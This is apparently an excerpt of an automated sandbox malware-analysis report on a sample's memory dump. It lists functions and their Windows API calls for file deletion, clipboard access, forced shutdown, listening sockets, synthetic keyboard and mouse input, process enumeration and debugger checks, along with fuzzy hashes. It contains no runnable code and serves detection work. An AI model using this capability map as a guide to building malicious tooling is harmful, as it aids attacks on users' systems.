FindClose.KERNEL32(00000000), ref: 00A598C5
FindClose.KERNEL32(00000000), ref: 00A598D5

Part of subcall function 00A4DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00A4DB00

Strings

*.*, xrefs: 00A5983B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: 0fb589e8a49e84ee21babe6295b489e22d911ea4c7df47c8c6e4e606be2105f0
Instruction ID: aea690df28bc0499c4f23a849086d9290e789e556d590e7a5d93ac490beab0b2
Opcode Fuzzy Hash: 0fb589e8a49e84ee21babe6295b489e22d911ea4c7df47c8c6e4e606be2105f0
Instruction Fuzzy Hash: 2331A532541619BADB10EFB4EC48ADF77ACBF0A321F148559E814AB1D1DB30DA898F60

Function 00A4D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009E3A97,?,?,009E2E7F,?,?,?,00000000), ref: 009E3AC2

Part of subcall function 00A4E199: GetFileAttributesW.KERNEL32(?,00A4CF95), ref: 00A4E19A

FindFirstFileW.KERNEL32(?,?), ref: 00A4D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 00A4D1DD
MoveFileW.KERNEL32(?,?), ref: 00A4D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 00A4D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A4D237

Part of subcall function 00A4D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00A4D21C,?,?), ref: 00A4D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 00A4D253
FindClose.KERNEL32(00000000), ref: 00A4D264

Strings

\*.*, xrefs: 00A4D0CD, 00A4D0D6, 00A4D0EB

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 23ca6d74f4311f44f0d4f3f0626b3cd05b225e4775ed2f999d78b2313071f154
Instruction ID: 4d820838d458eeec675d618db58d23cfdd061ff4d565a294b1e022e83a7882ee
Opcode Fuzzy Hash: 23ca6d74f4311f44f0d4f3f0626b3cd05b225e4775ed2f999d78b2313071f154
Instruction Fuzzy Hash: BE61613580114DAFCF16EBE1CE92AEDB775AF95300F648169E406771A2EB306F49CB60

Function 00A5ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00A5ED91
EmptyClipboard.USER32 ref: 00A5ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 00A5EDAC
CloseClipboard.USER32 ref: 00A5EEA3

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: eae64d8ee5345d525dfd9453660aea891cd1caf783117648d19c8b72fcb161cf
Instruction ID: bacbf83b375e761de5932be3749a12a9e16e5d71c92d4b828120626b660d4519
Opcode Fuzzy Hash: eae64d8ee5345d525dfd9453660aea891cd1caf783117648d19c8b72fcb161cf
Instruction Fuzzy Hash: 0B41FF35204211AFE724DF55E889F19BBE4FF44329F04C09DE8298B6A2C731ED82CB80

Function 00A4E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00A416C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00A4170D
Part of subcall function 00A416C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00A4173A
Part of subcall function 00A416C3: GetLastError.KERNEL32 ref: 00A4174A

ExitWindowsEx.USER32(?,00000000), ref: 00A4E932

Strings

@, xrefs: 00A4E925
SeShutdownPrivilege, xrefs: 00A4E902
, xrefs: 00A4E95C
, xrefs: 00A4E920

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 43a8a404c17fce693bdd7f28502d390b88ffbbbabdd0857a41a2c799314f0cf5
Instruction ID: 3d6c4f7a94fa13716782ce8239179c5df8ab22039b01f4f2de3d16a57cfde3e0
Opcode Fuzzy Hash: 43a8a404c17fce693bdd7f28502d390b88ffbbbabdd0857a41a2c799314f0cf5
Instruction Fuzzy Hash: 5D01493B710210BBEB64A3B49C86FBFB2ACB784750F154821FC13E31D3E6A15C808290

Function 00A61204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00A61276
WSAGetLastError.WSOCK32 ref: 00A61283
bind.WSOCK32(00000000,?,00000010), ref: 00A612BA
WSAGetLastError.WSOCK32 ref: 00A612C5
closesocket.WSOCK32(00000000), ref: 00A612F4
listen.WSOCK32(00000000,00000005), ref: 00A61303
WSAGetLastError.WSOCK32 ref: 00A6130D
closesocket.WSOCK32(00000000), ref: 00A6133C

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: 58ece7193e0494c7e20f9fa71833cdf3dfb5fbd2b27b8cd9b7a0adfb40fd5a1b
Instruction ID: aa81aff94f4c94df7bf05ae7479d3094904d812ec1b35d63bb393a9e76b6e9d3
Opcode Fuzzy Hash: 58ece7193e0494c7e20f9fa71833cdf3dfb5fbd2b27b8cd9b7a0adfb40fd5a1b
Instruction Fuzzy Hash: 774171716001409FD710DF64C898B6ABBF5AF86328F1C819CE9569F296C771ED82CBE1

Function 00A1B952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A1B9D4
_free.LIBCMT ref: 00A1B9F8
_free.LIBCMT ref: 00A1BB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00A83700), ref: 00A1BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,00AB121C,000000FF,00000000,0000003F,00000000,?,?), ref: 00A1BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,00AB1270,000000FF,?,0000003F,00000000,?), ref: 00A1BC36
_free.LIBCMT ref: 00A1BD4B

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: d6edb679d95577f39a7e085f4768d3ad7a849da1c28f16991eab9c71cb577630
Instruction ID: f7e07f04fe42508f546d4048eb563ac2d38ba08c1ccafbfdcae6be7590884ced
Opcode Fuzzy Hash: d6edb679d95577f39a7e085f4768d3ad7a849da1c28f16991eab9c71cb577630
Instruction Fuzzy Hash: FEC12771914205AFDB24DF68DD51BEA7BB8EF45350F1441AAE494DB292E7308E82C7B0

Function 00A4D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,009E3A97,?,?,009E2E7F,?,?,?,00000000), ref: 009E3AC2

Part of subcall function 00A4E199: GetFileAttributesW.KERNEL32(?,00A4CF95), ref: 00A4E19A

FindFirstFileW.KERNEL32(?,?), ref: 00A4D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 00A4D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 00A4D481
FindClose.KERNEL32(00000000), ref: 00A4D498
FindClose.KERNEL32(00000000), ref: 00A4D4A1

Strings

\*.*, xrefs: 00A4D3F2

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: c7508ed8cc608f0e99f0e311c23008e6f299db9ffe19322ad82c035ea992bd5a
Instruction ID: fbe46edcd32246dfd240cc186b8d325dd7d962e98e0e8877c30d1056578e6458
Opcode Fuzzy Hash: c7508ed8cc608f0e99f0e311c23008e6f299db9ffe19322ad82c035ea992bd5a
Instruction Fuzzy Hash: D3317071008381AFC301EF65C8559AFB7A8BED1314F448A1DF4D5531A1EB20AE49C763

Function 00A5648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A564DC
CoInitialize.OLE32(00000000), ref: 00A56639
CoCreateInstance.OLE32(00A7FCF8,00000000,00000001,00A7FB68,?), ref: 00A56650
CoUninitialize.OLE32 ref: 00A568D4

Strings

.lnk, xrefs: 00A564BA, 00A56524, 00A565E0

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 45190c051a92ef851fe80e30a01abcbfd19db482654a75a3e00b05480607adae
Instruction ID: 6e51c6668c44b8bd8682635d9ba780180d08e3663c885d2349f600b0c767d2d2
Opcode Fuzzy Hash: 45190c051a92ef851fe80e30a01abcbfd19db482654a75a3e00b05480607adae
Instruction Fuzzy Hash: 40D15A71508241AFC315EF24C881A6BB7E8FFD4705F50496DF5958B2A1EB30EE4ACB92

Function 00A622DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 00A622E8

Part of subcall function 00A5E4EC: GetWindowRect.USER32(?,?), ref: 00A5E504

GetDesktopWindow.USER32 ref: 00A62312
GetWindowRect.USER32(00000000), ref: 00A62319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00A62355
GetCursorPos.USER32(?), ref: 00A62381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00A623DF

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 4bee056abae1ff2facf8806d62bd98d2291d126891c710b632b21501190294f8
Instruction ID: 39a12b11c1e7cc9b140e95f422a7725c7957fe6d7f9718984374557133481a0f
Opcode Fuzzy Hash: 4bee056abae1ff2facf8806d62bd98d2291d126891c710b632b21501190294f8
Instruction Fuzzy Hash: AD310072104705AFC720DF54CC48B5BBBA9FF84720F00491DF8889B281DB34EA49CB92

Function 00A59B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00A59B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00A59C8B

Part of subcall function 00A53874: GetInputState.USER32 ref: 00A538CB
Part of subcall function 00A53874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00A53966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00A59BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00A59C75

Strings

*.*, xrefs: 00A59B5D

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 4ea4f02696452787e9f19f9f370f9fb5f242b6e8ad1a47e8f0f3f5194471bb52
Instruction ID: 8173f28e9453d32480269a735585aac9efbc123faad3a1d58a21393b1cf92762
Opcode Fuzzy Hash: 4ea4f02696452787e9f19f9f370f9fb5f242b6e8ad1a47e8f0f3f5194471bb52
Instruction Fuzzy Hash: E3416171900209EFDF15DFA4C945AEE7BB8FF45311F248155E805A7191EB309E89CF61

Function 009F997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 009F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 009F9BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 009F9A4E
GetSysColor.USER32(0000000F), ref: 009F9B23
SetBkColor.GDI32(?,00000000), ref: 009F9B36

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 7f15da9e5c13c7a8def2fd1d7c5e3cf71244889549c877ee202caf8c6f2b3105
Instruction ID: 756262bcc84576a93332b7771f93fb7375ec3081c7dc3e02801a191e73ae47d1
Opcode Fuzzy Hash: 7f15da9e5c13c7a8def2fd1d7c5e3cf71244889549c877ee202caf8c6f2b3105
Instruction Fuzzy Hash: EFA13CB0108448BEE738EB3C8C99F7F369DDB82350F25460AF612C65A2CA29DD41D371

Function 00A61806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A6304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00A6307A
Part of subcall function 00A6304E: _wcslen.LIBCMT ref: 00A6309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00A6185D
WSAGetLastError.WSOCK32 ref: 00A61884
bind.WSOCK32(00000000,?,00000010), ref: 00A618DB
WSAGetLastError.WSOCK32 ref: 00A618E6
closesocket.WSOCK32(00000000), ref: 00A61915

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 1cc997caf08a5dd36aeef6de621126f0a9c0db6694f3152cac7cceed40833859
Instruction ID: 0ac1c434ff691c931898307cf85345a0d88fe171d8d89646a50c44cc4c090b35
Opcode Fuzzy Hash: 1cc997caf08a5dd36aeef6de621126f0a9c0db6694f3152cac7cceed40833859
Instruction Fuzzy Hash: 8A51C671A00200AFDB11EF64C886F2A7BE5AB84718F08845CF9559F3D3D771AD42CBA1

Function 00A71C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00A71CC0
IsWindowEnabled.USER32 ref: 00A71CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00A71CDB
IsIconic.USER32 ref: 00A71CE9
IsZoomed.USER32 ref: 00A71CF7

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: c8496ee09d24c9a089c8c2086fe348d14b76db95c572f371e15d0dffca4e5b59
Instruction ID: f80f2c19fed323bb8a35207a51a555594d9c655bdcc8fdca11392589ded0dea9
Opcode Fuzzy Hash: c8496ee09d24c9a089c8c2086fe348d14b76db95c572f371e15d0dffca4e5b59
Instruction Fuzzy Hash: 31218B317402509FD7228F6EDC84B6A7BE5EF85325B19C46CE84E8B252DB71EC42CB90

Function 00A6A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00A6A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 00A6A6BA

Part of subcall function 009E9CB3: _wcslen.LIBCMT ref: 009E9CBD

Process32NextW.KERNEL32(00000000,?), ref: 00A6A79C
CloseHandle.KERNEL32(00000000), ref: 00A6A7AB

Part of subcall function 009FCE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00A23303,?), ref: 009FCE8A

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: ffc740715d4ecc269c379eda10ab6c06dfdbd37d6f63a90c33a7dc07a549b986
Instruction ID: 4e80cbe09b119565e92a2f329a7626133ef975f38b996e2a34d0472808e71096
Opcode Fuzzy Hash: ffc740715d4ecc269c379eda10ab6c06dfdbd37d6f63a90c33a7dc07a549b986
Instruction Fuzzy Hash: AC513971508340AFD311EF25C886A6BBBE8EFC9754F40892DF59997262EB30DD04CB92

Function 00A4AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 00A4AAAC
SetKeyboardState.USER32(00000080), ref: 00A4AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 00A4AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 00A4AB88

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 50eaacf608a5f46758b27de0c05a66ff08817b3c19f7e4b7c268ec543ea45349
Instruction ID: ae4ef7280b2c12479831f0de3f47372c80af67904516013d0aa8a8cecdc57a64
Opcode Fuzzy Hash: 50eaacf608a5f46758b27de0c05a66ff08817b3c19f7e4b7c268ec543ea45349
Instruction Fuzzy Hash: CC31F474AC0248AEFB35CB648C05BFA7BA6EBE4320F04821AF585961D1D3758D92C762

Function 00A55C97 Relevance: 4.6, APIs: 3, Instructions: 138fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00A55CC1
FindNextFileW.KERNEL32(00000000,?), ref: 00A55D17
FindClose.KERNEL32(?), ref: 00A55D5F

Memory Dump Source

Source File: 00000009.00000002.3244227589.00000000009E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000009.00000002.3244169392.00000000009E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000A7C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244357323.0000000000AA2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244531526.0000000000AAC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000009.00000002.3244590975.0000000000AB4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_9e0000_0c179c8402.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: d5c2f9352185661c1caccd8433a464bfb0b2324a5a5d7c36010004517e9b331d
Instruction ID: 3acf8b02b735c4bcf52f9676d19f55e49ec43688a4aef6b1b57a3594f6a3718a
Opcode Fuzzy Hash: d5c2f9352185661c1caccd8433a464bfb0b2324a5a5d7c36010004517e9b331d
Instruction Fuzzy Hash: DE51AC76A04A019FC714CF28C494A9AB7F4FF49324F14855DE99A8B3A2DB30ED45CF91

Function 00A12622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00A1271A
